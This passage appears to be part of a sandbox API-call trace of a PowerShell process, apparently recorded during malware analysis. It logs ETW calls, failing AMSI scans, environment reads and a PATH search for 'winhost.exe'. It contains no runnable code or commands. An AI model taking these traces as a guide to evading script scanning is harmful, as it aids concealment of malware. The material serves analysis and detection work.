Data3=0x0, Data4=([0]=0x54, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0120.977] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843ee68*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843ee68*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x53, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0120.977] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843eeec*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x54, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843eeec*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x54, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0121.236] _wmakepath_s (in: _Buffer=0x843cdd8, _BufferCount=0x308, _Drive="C:", _Dir="\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\", _Filename="System.Management.Automation", _Ext=".pdb" | out: _Buffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.pdb") returned 0x0 [0121.303] AmsiScanString () returned 0x80070015 [0121.452] AmsiScanString () returned 0x80070015 [0121.529] AmsiScanString () returned 0x80070015 [0121.533] QueryPerformanceCounter (in: lpPerformanceCount=0x843e3a4 | out: lpPerformanceCount=0x843e3a4*=80366490664) returned 1 [0121.533] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e504*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e504*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6c, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0121.534] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e470*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e470*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x66, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0121.534] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e4f4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6c, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e4f4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6c, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0121.534] CoTaskMemAlloc (cb=0x2cc) returned 0x7731840 [0121.534] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x7731840, nSize=0x164 | out: lpBuffer="땠ݥ䮈ݯ") returned 0x0 [0121.534] CoTaskMemFree (pv=0x7731840) [0121.546] QueryPerformanceCounter (in: lpPerformanceCount=0x843df5c | out: lpPerformanceCount=0x843df5c*=80367757871) returned 1 [0121.546] AmsiScanString () returned 0x80070015 [0121.547] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0xa5c [0121.548] CoCreateGuid (in: pguid=0x843de64 | out: pguid=0x843de64*(Data1=0xdda77de8, Data2=0x2142, Data3=0x4115, Data4=([0]=0xb6, [1]=0x89, [2]=0xcd, [3]=0xc4, [4]=0x24, [5]=0x63, [6]=0xda, [7]=0x2))) returned 0x0 [0121.548] QueryPerformanceCounter (in: lpPerformanceCount=0x843dca0 | out: lpPerformanceCount=0x843dca0*=80367938797) returned 1 [0121.548] AmsiScanString () returned 0x80070015 [0121.611] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843dd58*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843dd58*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6f, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0121.611] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843ddb8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6e, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843ddb8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6e, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0121.611] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e494*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e494*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6e, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0121.611] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e4f4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6c, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e4f4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6c, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0121.669] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x44c, lpConsoleScreenBufferInfo=0x843e57c | out: lpConsoleScreenBufferInfo=0x843e57c) returned 1 [0121.832] AmsiScanString () returned 0x80070015 [0121.834] QueryPerformanceCounter (in: lpPerformanceCount=0x843e3a4 | out: lpPerformanceCount=0x843e3a4*=80396557900) returned 1 [0121.834] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e504*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e504*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x7d, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0121.834] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e470*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e470*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6c, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0121.834] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e4f4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x7d, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e4f4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x7d, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0121.834] CoTaskMemAlloc (cb=0x2cc) returned 0x7731840 [0121.834] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x7731840, nSize=0x164 | out: lpBuffer="땠ݥ䮈ݯ") returned 0x0 [0121.834] CoTaskMemFree (pv=0x7731840) [0121.849] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e494*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e494*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x7e, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0121.849] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e4f4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x7d, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e4f4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x7d, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0121.960] AmsiScanString () returned 0x80070015 [0121.962] QueryPerformanceCounter (in: lpPerformanceCount=0x843e3a4 | out: lpPerformanceCount=0x843e3a4*=80409359506) returned 1 [0121.962] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e504*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e504*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x7f, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0121.962] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e470*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e470*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x7d, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0121.962] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e4f4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x7f, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e4f4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x7f, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0121.962] CoTaskMemAlloc (cb=0x2cc) returned 0x7731840 [0121.962] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x7731840, nSize=0x164 | out: lpBuffer="땠ݥ䮈ݯ") returned 0x0 [0121.962] CoTaskMemFree (pv=0x7731840) [0121.963] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e198*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e198*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x80, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0121.963] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e104*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e104*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x7f, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0121.963] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e188*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x80, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e188*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x80, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0121.963] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e128*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e128*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x80, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0122.124] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e494*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e494*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x80, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0122.124] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e4f4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x7f, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e4f4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x7f, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0122.224] GetConsoleOutputCP () returned 0x1b5 [0122.513] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x843ea40, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x843ea40) returned 0 [0143.147] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x843e8cc, DesiredAccess=0x800, PolicyHandle=0x843e88c | out: PolicyHandle=0x843e88c) returned 0x0 [0143.148] LsaLookupSids (in: PolicyHandle=0x74347b8, Count=0x1, Sids=0x53e940c*=0x53e93b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xb4)), ReferencedDomains=0x843e8a8, Names=0x843e89c | out: ReferencedDomains=0x843e8a8, Names=0x843e89c) returned 0x0 [0143.148] LsaClose (ObjectHandle=0x74347b8) returned 0x0 [0143.148] LsaFreeMemory (Buffer=0x74234b8) returned 0x0 [0143.148] LsaFreeMemory (Buffer=0x765fbf8) returned 0x0 [0143.149] GetCurrentProcessId () returned 0x190 [0143.149] GetCurrentThreadId () returned 0x1130 [0143.149] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x44c, lpConsoleScreenBufferInfo=0x843e934 | out: lpConsoleScreenBufferInfo=0x843e934) returned 1 [0143.161] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x44c, lpConsoleScreenBufferInfo=0x843e934 | out: lpConsoleScreenBufferInfo=0x843e934) returned 1 [0143.187] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x44c, lpConsoleScreenBufferInfo=0x843e93c | out: lpConsoleScreenBufferInfo=0x843e93c) returned 1 [0143.218] SetConsoleTextAttribute (hConsoleOutput=0x44c, wAttributes=0xaf) returned 1 [0143.364] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x44c, lpConsoleScreenBufferInfo=0x843e93c | out: lpConsoleScreenBufferInfo=0x843e93c) returned 1 [0143.508] SetConsoleTextAttribute (hConsoleOutput=0x44c, wAttributes=0xaf) returned 1 [0143.523] GetConsoleMode (in: hConsoleHandle=0x44c, lpMode=0x843e958 | out: lpMode=0x843e958) returned 1 [0143.549] WriteConsoleW (in: hConsoleOutput=0x44c, lpBuffer=0x53e90d4*, nNumberOfCharsToWrite=0x17, lpNumberOfCharsWritten=0x843e94c, lpReserved=0x0 | out: lpBuffer=0x53e90d4*, lpNumberOfCharsWritten=0x843e94c*=0x17) returned 1 [0143.626] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x44c, lpConsoleScreenBufferInfo=0x843e938 | out: lpConsoleScreenBufferInfo=0x843e938) returned 1 [0143.714] SetConsoleTextAttribute (hConsoleOutput=0x44c, wAttributes=0xaf) returned 1 [0144.260] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x44c, lpConsoleScreenBufferInfo=0x843e938 | out: lpConsoleScreenBufferInfo=0x843e938) returned 1 [0144.358] SetConsoleTextAttribute (hConsoleOutput=0x44c, wAttributes=0xaf) returned 1 [0144.403] GetConsoleMode (in: hConsoleHandle=0x44c, lpMode=0x843e998 | out: lpMode=0x843e998) returned 1 [0144.551] WriteConsoleW (in: hConsoleOutput=0x44c, lpBuffer=0x4ff0ac0*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x843e98c, lpReserved=0x0 | out: lpBuffer=0x4ff0ac0*, lpNumberOfCharsWritten=0x843e98c*=0x1) returned 1 [0144.690] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843eac8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843eac8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x49, [1]=0x94, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0144.690] CoTaskMemAlloc (cb=0x2cc) returned 0x7731840 [0144.690] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x7731840, nSize=0x164 | out: lpBuffer="땠ݥ솰ܺ") returned 0x0 [0144.690] CoTaskMemFree (pv=0x7731840) [0144.690] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843eae0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843eae0*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x4c, [1]=0x94, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0144.690] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843ea4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843ea4c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x49, [1]=0x94, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0144.690] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843ead0*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x4c, [1]=0x94, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843ead0*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x4c, [1]=0x94, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0144.702] CoTaskMemAlloc (cb=0x2cc) returned 0x7731840 [0144.702] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x7731840, nSize=0x164 | out: lpBuffer="땠ݥ솰ܺ") returned 0x0 [0144.703] CoTaskMemFree (pv=0x7731840) [0144.703] CoTaskMemAlloc (cb=0x2cc) returned 0x7731840 [0144.703] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7731840, nSize=0x164 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0144.703] CoTaskMemFree (pv=0x7731840) [0144.703] CoTaskMemAlloc (cb=0x2cc) returned 0x7731840 [0144.703] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7731840, nSize=0x164 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0144.703] CoTaskMemFree (pv=0x7731840) [0144.703] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x323fc20 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0144.703] CoTaskMemAlloc (cb=0x2cc) returned 0x7731840 [0144.703] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7731840, nSize=0x164 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0144.703] CoTaskMemFree (pv=0x7731840) [0144.703] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0144.703] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x24, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0144.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e6bc) returned 1 [0144.703] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x843e738 | out: lpFileInformation=0x843e738*(dwFileAttributes=0x2410, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6b8) returned 1 [0144.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e738) returned 1 [0144.704] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0144.704] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x24, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0144.704] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\winhost.exe.*", lpFindFileData=0x843e460 | out: lpFindFileData=0x843e460*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0144.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6d8) returned 1 [0144.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6e4) returned 1 [0144.704] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0144.704] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0144.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e6bc) returned 1 [0144.704] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x843e738 | out: lpFileInformation=0x843e738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec28c54, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xebb5ab66, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xebb5ab66, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0144.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6b8) returned 1 [0144.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e738) returned 1 [0144.704] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0144.704] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0144.704] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\winhost.exe.*", lpFindFileData=0x843e460 | out: lpFindFileData=0x843e460*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0144.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6d8) returned 1 [0144.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6e4) returned 1 [0144.705] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0144.705] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0xb, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS", lpFilePart=0x0) returned 0xa [0144.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e6bc) returned 1 [0144.705] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x843e738 | out: lpFileInformation=0x843e738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1 [0144.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6b8) returned 1 [0144.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e738) returned 1 [0144.705] 